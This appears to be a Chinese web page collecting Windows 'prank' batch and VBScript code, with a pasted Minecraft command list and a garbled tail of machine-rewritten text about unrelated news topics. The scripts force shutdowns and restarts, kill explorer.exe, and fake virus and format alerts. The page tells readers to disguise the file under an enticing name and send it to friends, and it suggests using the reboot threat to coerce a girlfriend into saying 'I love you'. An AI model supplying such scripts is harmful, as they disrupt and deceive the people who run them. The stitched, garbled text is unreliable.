if not exist c:1.txt echo. c:1.txt goto err1
if not exist c:2.txt echo. c:2.txt goto err1
if not exist c:3.txt echo. c:3.txt goto err1
if not exist c:4.txt echo. c:4.txt goto err1
if not exist c:5.txt echo. c:5.txt goto err1
goto err2
:err1 shutdown -s -t 0
:err2 上面可以让对方电脑重启5次后不在重启,当然如果你修改一下加个if not exist c:6.txt echo. c:6.txt goto err1那就是重启6次 改成7就是7次...
打开“开始→程序→附件→记事本”,把代码部分复制进去,点“另存为”,路径选“你想要放的地方”,保存类型为“所有文件”,文件名为“你想要的名字.bat”,你的批量处理器就完成了。
gsh=msgbox ("已经准备好格式化,准备开始。",vbyesno)
set s=createobject("wscript.shell")
wscript.sleep 1000
msgbox "开始格式化…… 哈哈!吓晕了吧,骗你的~"
wscript.sleep 1000
wscript.sleep 1000*100
msgbox "windows发现一重要更新,将自动下载。"
wscript.sleep 3000
msgbox "系统检测到WINDOWS更新中捆绑有不明插件SXS.exe,是否对其扫描?",vbyesno
wscript.sleep 1000
msgbox "文件名 SXS.exe"+CHR(13)+"发行者 田间的菜鸟 "+chr(13)+"安全评级 高危"+chr(13)+"建议 直接删除"+chr(13)+"病毒类型:木马",,"windows扫描附件"
msgbox "是否阻止其安装?",vbyesno
wscript.sleep 3000
msgbox "阻止失败!请检查防火墙是否开启!"
wscript.sleep 5000
msgbox "正在尝试强行删除…"
wscript.sleep 5000
msgbox "失败!"
wscript.sleep 5000
msgbox "您的电脑已陷入危险之中,请赶快扫描病毒!"
wscript.sleep 10000
s.sendkeys "% n"
s.run "taskkill /im *** .exe"
s.sendkeys "% n"
s.run "taskkill /im explorer.exe /f"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
msgbox "你好啊!"
wscript.sleep 3000
msgbox "很高兴见到你!"
wscript.sleep 3000
msgbox "您的电脑可能已经感染病毒!",,"WINDOWS防火墙警告"
wscript.sleep 3000
msgbox "我控制你的电脑了!"
wscript.sleep 3000
msgbox "不信?那我给你关机看看~"
s.run "shutdown -r -t 120"
msgbox "信了吧!"
msgbox "帮你解除关机……"
s.run "shutdown -a"
msgbox "再给你打开记事本写封信,劝你更好别动,要不然会引起系统混乱~"
s.run "notepad"
wscript.sleep 3000
s.sendkeys "Hello, I'm sorry I control your computer,"
wscript.sleep 3000
s.sendkeys " but the virus is false in, "
wscript.sleep 3000
s.sendkeys "only a joke, "
wscript.sleep 3000
s.sendkeys "please rest assured! "
wscript.sleep 3000
s.sendkeys "I no longer next "
wscript.sleep 3000
s.sendkeys "time so the whole you!"
wscript.sleep 3000
s.sendkeys" Goodbye!"
s.sendkeys"{enter}"
s.sendkeys"END"
wscript.sleep 1000
s.sendkeys"%{F4}"
msgbox "提示:刚才的“病毒”是假的,只不过是吓你玩玩~"
s.run "explorer"
之一步,将以下代码复制到记事本中。
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 30 -c ""快说潮流哥特,不说就30秒关你机,不信,试试···"" ",0 ,true
dim a
do while(a "潮流哥特")
a = inputbox ("说潮流哥特,不然就不关机,快撒,说 ""潮流哥特"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
上面的文字可以随便改,不印象效果。如果发给MM,你可以逼她说“我爱你”。 *** 是把上面的“ *** 客是好网站”改成“快说我爱你” 内容来自
第二步,将记事本文件重命名为 ***.VBE(文件名可以任意起,如“美女.VBE”)
如果谁运行了这个 *** 炸弹,在30秒后会自动关机。
下面说一下使用 *** :
最简单的使用 *** 是,你直接发给好友,让他运行,然后他就中招了。
WScript.Echo("谁令你打开这个软件的")
WScript.Echo("这个软件会让你无聊啊!")
WScript.Echo("推荐你来的肯定是个坏蛋!")
WScript.Echo("欢迎来到被整软件站!")
WScript.Echo("是谁设计的?")
WScript.Echo("Is me")
WScript.Echo("你好,你要点30次确定哦!")
WScript.Echo("1")
WScript.Echo("2")
WScript.Echo("3")
WScript.Echo("begin")
我的世界恶搞整人指令如下:
1、指令 /nick ID-名称-给某人改一个名,ID是加白名单的名字。
2、/backup-运行备份命令。
3、/fireball-发射一个火球(会破坏方块)。
4、/heal name-治疗某人。
5、/invsee name-查看某人的包裹。
6、/lingtning name-天谴(不填写名字会雷击鼠标指向的地方)。
7、/mute name-禁言某人。
8、/ping-让单位走路发出乒乓声。
9、/seen name-查看某人最后退出的时间。
10、/tp name1 name2-将人物1传送至人物2身旁。
11、/tp name-将自己传送至某人身旁。
12、/tphere name-将某人传送至自己身旁。
13、/tpall-将服务器内的所有人传送至自己身旁(大传送阵)。
之一步,将以下代码复制到记事本中。
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 30 -c ""快说潮流哥特,不说就30秒关你机,不信,试试···"" ",0 ,true
dim a
do while(a "潮流哥特")
a = inputbox ("说潮流哥特,不然就不关机,快撒,说 ""潮流哥特"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
上面的文字可以随便改,不印象效果。如果发给MM,你可以逼她说“我爱你”。 *** 是把上面的“ *** 客是好网站”改成“快说我爱你” 内容来自
第二步,将记事本文件重命名为 ***.VBE(文件名可以任意起,如“美女.VBE”)
如果谁运行了这个 *** 炸弹,在30秒后会自动关机。
下面说一下使用 *** :
最简单的使用 *** 是,你直接发给好友,让他运行,然后他就中招了。
WScript.Echo("谁令你打开这个软件的")
WScript.Echo("这个软件会让你无聊啊!")
WScript.Echo("推荐你来的肯定是个坏蛋!")
WScript.Echo("欢迎来到被整软件站!")
WScript.Echo("是谁设计的?")
WScript.Echo("Is me")
WScript.Echo("你好,你要点30次确定哦!")
WScript.Echo("1")
WScript.Echo("2")
WScript.Echo("3")
WScript.Echo("begin")
代码如下,复制到记事本,将txt改为vbs就ok了,中间的字可自己改。
if
MsgBox("对不起,您灌水太多需要重新启动计算机。"chr(10)"确定要重启吗?",vbOKCancel+vbInformation,"重新启动计算机")=vbCancel
then
msgbox
正在清理系统垃圾wow
~_^",,"算你倒霉!!"
Set
objShell
CreateObject("Wscript.Shell")
objShell.Run
"shutdown
-s
-t
5",,true
end
if
加分哦
正在Windows 一0外,您否以经由过程 netsh敕令 去天生 无线收集 申报 。假如 您邪饱尝WLAN衔接 答题的困扰,这么剖析 无线收集 申报 将有帮于您定位答题并有针 对于性天解决答题。若您的WLAN衔接 出有答题,这么相识 您的计较 机闭于WLAN衔接 的情形 的细节也已尝没有是一种无...
约折群众币 一0 八 二 四 九点 二 八元/枚,今朝 ,负责会有吃亏 ;提醒 :投资有风险,但如今 的止情没有太不变 ,群众币Btcc尔所相识 的便是那些。如今 最新的价钱 币 二0 一 九年 八月的 一比特币币,以避免跌至无奈挽归的局势 ,商场处于极为没有不变 状况 。 如今 是 二0 一 九年...
苹因xs max是苹因 八后来拉没的型号,苹因私司宣布 了iPhone第三代产物 iPhone 三南京空儿 二0 一0,iPhone 三南京空儿 二00 九年 六月 九日清晨 二: 四 八分,似乎苹因也正在开辟 更年夜 版原。 iPhone XS Max采取 六点 五,iPhone 三G,设置装...
每一年的单十一弄法 皆有更新,弄法 是愈来愈多,但仍保存 了一点儿经典弄法 ,好比 买物津揭。这么买物津揭是甚么意义呢?地猫单十一买物津揭运用规矩 是甚么?单十一买物津揭否以取哪些劣惠叠添?单 一 一买物津揭里值若干 元?一路 去相识 一高吧!...
倪萍 杨澜 杨澜 赵奸祥悲悼 会 赵奸祥悲悼 会 赵奸祥悲悼 会 赵奸祥悲悼 会 网难文娱 一月 二0日报导 一月 二0日上午,有名 主持人赵奸祥尸体 离别 典礼 正在南京八宝山举办 。杨澜、毕祸剑、马已皆、墨军、倪萍、杨澜、周涛、李瑞英等现身吊唁 。...
章新胜:外国体育的成长 应该以体学联合 为主 二00 九年0 二月 一 六日 一 一: 三 八[尔去说二句][字号:年夜 外小]起源 :新华网 新华网哈我滨2月16日体育博电(忘者下删单)学育部副部少章新胜正在方才 终结 的2009年世界年夜 教熟冬日活动 会体育迷信年夜 会上说,外国体育的成长 应...